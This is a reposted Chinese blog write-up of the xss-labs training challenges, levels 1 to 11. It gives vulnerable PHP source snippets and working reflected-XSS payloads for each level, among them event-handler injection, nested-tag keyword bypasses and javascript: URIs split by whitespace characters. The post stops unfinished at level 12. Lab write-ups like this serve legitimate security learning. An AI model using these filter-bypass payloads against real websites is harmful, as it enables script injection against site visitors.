ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

xss-labs 小结

2021-04-09 11:57:41  阅读:178  来源: 互联网

标签:xss 双引号 标签 javascript alert labs 过滤 变成 小结


xss-labs
。。。

level1

有个回显,那么替换成js代码。

<script>alert(‘xss’)</script>  
#alert是一个弹窗,所有的js代码都要放在<script>里面才会被当作js代码执行
  • 在控制台输入代码调用
    在这里插入图片描述
<h2 align=center>欢迎用户test</h2>
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";

服务器通过get方式将传递过来的name参数的值赋给了str变量,然后str变量直接插入了h2标签之中。

  • 其余的过关方式
    可以通过/<scr/ipt/>标签弹窗,可以通过标签里的onerror事件弹窗,可以通过javascript弹窗

level2

由于从url地址来看。想到还是上面的get方式传递参数。第一关一样,也是直接输出内容,但是输出的内容在一个文本框里面。so继续套娃,可惜并没有成功

level1 源代码
在这里插入图片描述
对比,通过查看页面的源代码,发现传递的参数输出的位置

在这里插入图片描述

注入的恶意代码的尖括号都被编码成了html字符实体?

既然被编码了,所以就要想办法让浏览器执行属性值中的恶意代码了啦,因为输出的位置在一大段文字中,只需要闭合前后将js标签调用出来就行了

`

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

用get方式传递到传递服务端keyword参数的值赋给str变量。
用htmlspecialchars()函数对变量str进行处理之后显示到网页上。
接着直接将变量值插入到了标签的value属性值中,因为这里并没有对敏感字符进行编码和过滤,所以可以通过构造实现XSS攻击。

level3

失败…用input标签的属性值是不行了,两个位置都被实体化了。

因为<和>被转义,那么尝试直接用被转义后的实体内容带入呢?

反正还是不行
以下是搜的:

两处输出都对双引号、尖括号和&进行了HTML实体编码,但前面的单引号可以被闭合,考虑使用input标签的某些事件执行脚本。

但是输入点和输出点的异同我没发现

尝试输入单双引号、括号等,发现输入单引号时上面的h2会把输入的字符全部输出,而下面输入框却不会。如输入以下字符,h2标签会输出123’111,而输入框只剩下123

123'111

所以此题输出点不在前面的h2标签,而是在输入框input标签。插入Payload点击搜索,然后点击输入框

  • 以及
    ?keyword='onfocus=javascript:alert('xss') > //
    这个注入之后不会马上弹窗,只有当你选中输入框开始输入值时候才会触发。onfocus是javascript中在对象获得焦点时发生的事件。

level4

上源码

<h2 align=center>没有找到和&quot;&lt;script&gt;alert(1)&lt;/script&gt;&quot;相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value=""scriptalert(1)/script"">

过滤:<>

尖括号被替换成空了,这样就没办法闭合标签,也没办法使用script标签或者img标签实现弹窗,

keyword=' onclick='alert(1)

level5

闭合形式:

<input name=keyword  value="xxx"> 双引号闭合

尝试输入下面的标签,检查过滤没

"
'
(aaa)
<aaa>
<script>
<onload>
<onerror>
adad:
alert
href
javascript

过滤有
script变成了scr_ipt,onerror变成了o_error

未过滤
",',(),<>,:,alert,href

script和标签事件没法用,这里使用
a标签触发javascript,搜索后点击超链接

双引号看要不要加吧
后面的< 加不加看着办

level6

双引号闭合
过滤:

onerror会变成o\_error,<script>会变成<scr_ipt>,<a href> 会变成<a hr_ef>

未过滤:

',",(),<>,:,javascript,alert,但是发现<SCRipt>不会被过滤

这里又不加双引号了

level7

双引号闭合

过滤:

<script> 变成了 <>
<a href> 变成了 <a>
<img src> 变成了 <img>
onerror 变成了error
javacript:变成了java:

未过滤:

alert(1) 不改变
'alert(1)' 不改变
"alert(1)" 不改变
所以,没有被过滤的有alert,(),<>,',"

参考思路:
多输入一个s,输入成ssrc,结果查看源代码发现src被替换成空,但是s还留下了。
构造:

"><sscriptcript>alert(1)</sscriptcript>

level8

双引号闭合
过滤:

    <script> 变成了 &lt;script&gt;
    <a href> 变成了 &lt;a href&gt;
    <img src> 变成了 &lt;img src&gt;
    alert("aaa")  变成了 alert(&quot;aaa&quot;)

    所以过滤了:<>,"

未过滤:

    one rror 变成了 one rror
    javascript: 变成了 javascript:
    alert(1) 变成了  alert(1)
    alert('a') 变成了 alert('a')

    未过滤:onerror,alert,(),script,href,src,javascript:

又尝试了友链。发现换来换去只有

   alert(1) 变成了 alert(1)
    <>没有被过滤
    ' 没有过滤

找参考

使用javaScript变换(利用空白符如水平制表符HT,换行符LF,回车键CR来截断关键字)的办法绕过,这里必须在浏览器直接执行

这不用加 a href ,代码有

输出点是友链,输入框那里双引号被屏蔽了,所以入手友链

level9

虽然与第八关差不多,还是没思路
吐血(艹皿艹 )
没有输入http://会报错
居然还是第八关引入的参考

?keyword=javas%09cript:alert('http://')
?keyword=javas%0acript:alert('http://')
?keyword=javas%0dcript:alert('http://')

level10

过滤:

    <script> 变成了 script
    <a href> 变成了 a href
    <img src> 变成了 img src

    过滤了<>

未过滤:

    alert('1') 变成了  alert('1')
    alert("1")  变成了  alert("1")
    javascript:  变成了 javascript:
    onclikc  变成了onclick

    未过滤',",(),script,a href,img src,javascript:

有点击事件,但是没有输出。(使用autofocus和onfocus自动聚焦触发,但是发现有时候不能触发,或者触发了后会一直弹框而不能正常跳转)

但是可以添加输入框和按钮
比如这样:

<input name="t_sort"  value="xx type=button" type="hidden">

<input name="t_sort"  value="xx type=text" type="hidden">

这叫用type属性将该输入框变成button,覆盖掉原有的hidden隐藏属性,并使用onclick事件触发

level 11

按照上面的经验。绕过双引号无果后放弃,寻找其他注入点
多的那个t_ref ,输入url参数无效
先放

level 12

标签:xss,双引号,标签,javascript,alert,labs,过滤,变成,小结
来源: https://blog.csdn.net/weixin_42482361/article/details/115247863

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有